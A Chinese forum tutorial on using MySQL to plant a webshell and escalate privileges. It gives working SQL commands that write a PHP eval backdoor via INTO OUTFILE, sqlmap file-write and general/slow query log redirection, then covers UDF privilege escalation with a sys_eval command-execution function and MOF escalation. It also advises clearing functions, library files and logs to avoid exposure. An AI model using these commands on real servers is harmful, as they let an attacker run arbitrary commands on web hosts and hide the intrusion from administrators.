数据库提权(MySQL—webshell)

打印 上一主题 下一主题

主题 963|帖子 963|积分 2889

通过数据库来获取webshell的权限

1.通过into outfile来写shell

into outfile写shell要满足如下的条件才能写入:
​ 1、知道网站的物理路径
​ 2、高权限数据库用户
​ 3、load_file()开启 即secure_file_priv="" 无限制
​ 4、网络路径有写入权限
secure_file_priv值的解释:
值说明NULL不允许导入或导出/只允许在/目录导入导出空不限制目录 在 MySQL 5.5 之前secure_file_priv默认是空,这个情况下可以向恣意绝对路径写文件
在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件,如果管理员配置成secure_file_priv=''还是可以用into outfile来写shell
运行如下命令:
  1. show global variables like '%secure_file_priv%';
复制代码
查看secure_file_priv的值是否为空
如果是空值,运行
  1. select '<?php @eval($_REQUEST[123]);?>' into outfile 'D:/WWW/yzmcms-3-master/yzmcms-3/shell.php';
复制代码
意思就是把一句话木马<?php @eval($_REQUEST[123]);?>写到后面提供的地点上,文件名叫shell.php
也可以使用sqlmap
  1. sqlmap -u "http://x.x.x.x/?id=x" --file-write="源木马文件地址" --file-dest="目标木马
  2. 地址"
复制代码
2.利用日志写shell

当into outfile没有办法写shell的时候,就可以通过写日志来写shell
MySQL5.0以上会创建日志文件,通过修改日志的全局变量中的存储位置来getshell
写shell步骤
一、查看日志的情况

  1. SHOW VARIABLES LIKE '%general%';
复制代码
会得到一个表格
ValueVariable_nameOFFgeneral_logD:\phpstudy_pro\Extensions\MySQL5.7.26\data\DESKTOP-QGB8JU5.loggeneral_log_file 起首我们要知道general_log默认是关闭的,高权限的用户可以直接通过mysql命令行举行开启,开启后日志文件记任命户的
每条指令,将其保存在general_log _file中。我们可以通过开启general_log ,然后自界说general_log
_file来举行getshell。
如果是关闭状态的,输入以下的指令来举行开启
  1. set global general_log = "ON"
复制代码
二、修改general_log_file路径

  1. set global general_log_file='D:/WWW/yzmcms-3-master/yzmcms-3/shell_log.php';
复制代码
三、查抄general_log是否开启,路径是否修改

  1. SHOW VARIABLES LIKE '%general%';
复制代码
四、测试写日志

  1. select "<?php @eval($_REQUEST[123]);?>";
复制代码
五、访问网站主页并实验命令

  1. [目标网站url]?6=phpinfo();
复制代码

3.慢日志写shell

原理就是:MySQL有一种日志是用来记录MySQL中超时的相应时间(10s)的指令
大致的写shell的步骤是

  1. show variables like '%slow%';
复制代码
  1. set GLOBAL slow_query_log_file='C:/WWW/shell.php';
复制代码
  1. set GLOBAL slow_query_log=on;
复制代码
  1. set GLOBAL log_queries_not_using_indexes=on;
复制代码
  1. select '<?php phpinfo();?>' from mysql.db where sleep(10);
复制代码
去网站访问shell.php

  1. 127.0.0.1/shell.php
复制代码
4.通过数据库来提升权限

UDF提权

UDF(用户自界说函数)提权是一种在数据库中利用用户自界说函数功能举行权限提升的技术,常见于 MySQL 环境。以下是实现 UDF 提权的关键步骤和条件:
条件

1、root权限大概是其他用户(拥有file权限的用户)

2、知道目标服务器的操作体系类型(windows还是Linux)以及框架(32位还是64位),以便编译对应的 UDF 动态库文件。

3、操作体系的写权限:数据库地点的服务器允许将文件写入插件目录

查看插件位置
  1. show variables like "%plugin%";
复制代码
Variable_nameValuedefault_authentication_pluginmysql_native_passwordplugin_dirD:phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin文件夹下文件夹下才能创建自界说函数,该目录默认是不存在的,需要找到 MySQL 的安装目录。(要去拿到webshell后,连接蚁剑,创建相应的目录)
如果是 MySQL < 5.1 的版本,需要把 UDF 的动态链接库文件放置于 C:\Windows\System32。

  • 获取插件目录
    在 MySQL 中实验以下命令,获取插件目录路径:
    1. HOW VARIABLES LIKE 'plugin_dir';
    复制代码
  • 生成或下载 UDF 动态库文件

    • Windows 平台:.dll 文件
    • Linux 平台:.so 文件
      这些文件需要提前编译或下载。

  • 写入 UDF 文件到插件目录
    使用 SQL 语句将动态库写入插件目录:
    1. SELECT '' INTO DUMPFILE '/path/to/plugin_dir/udf_library.dll';
    复制代码
  • 创建自界说函数
    在 MySQL 中创建 UDF 函数,例如:
    1. CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_library.dll';
    复制代码
  • 调用函数实验命令
    使用创建的函数实验体系命令,例如:
    1. SELECT sys_eval('id'); -- 查看当前用户信息
    2. SELECT sys_eval('whoami'); -- 查看操作系统当前用户
    复制代码
  • 清算痕迹
    删除自界说函数和动态库:
    1. DROP FUNCTION sys_eval;
    复制代码
    手动删除动态库文件(需具备相应权限)。





5.MOF****提权

现在通过mof文件来举行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。
MOF提权利用的原理是利用Windows管理基础设施中的一个特性,该特性会定期检测和实验体系中的
MOF文件。MOF文件是用于形貌和界说管理信息的文件格式,在Windows中,体系会定期查抄指定目录
下的MOF文件,并根据文件中的内容实验相干操作。
攻击者可以通过MySQL的 load_file 函数将恶意的MOF文件写入体系目录(好比
C:\Windows\System32\wbem\mof ),然后等候体系定期查抄该目录。一旦体系检测到了新的MOF文
件,就会根据文件中的内容实验相应的操作。因为MOF文件的实验是以体系权限举行的,所以攻击者可
以通过构造恶意的MOF文件来实现权限提升,从而实验体系级别的操作,好比获取敏感信息、修改体系
配置等。
MSF中有现成的模块


注意事项



  • 权限限制:现代数据库版本通常会限制 FILE 权限或对插件目录的访问,限制此类提权举动。
  • 日志记录:所有操作都会在 MySQL 日志中留下痕迹,需清算相干日志避免暴露。
  • 权限隔离:确保操作体系层面无法直接利用低权限的数据库用户。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

千千梦丶琪

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表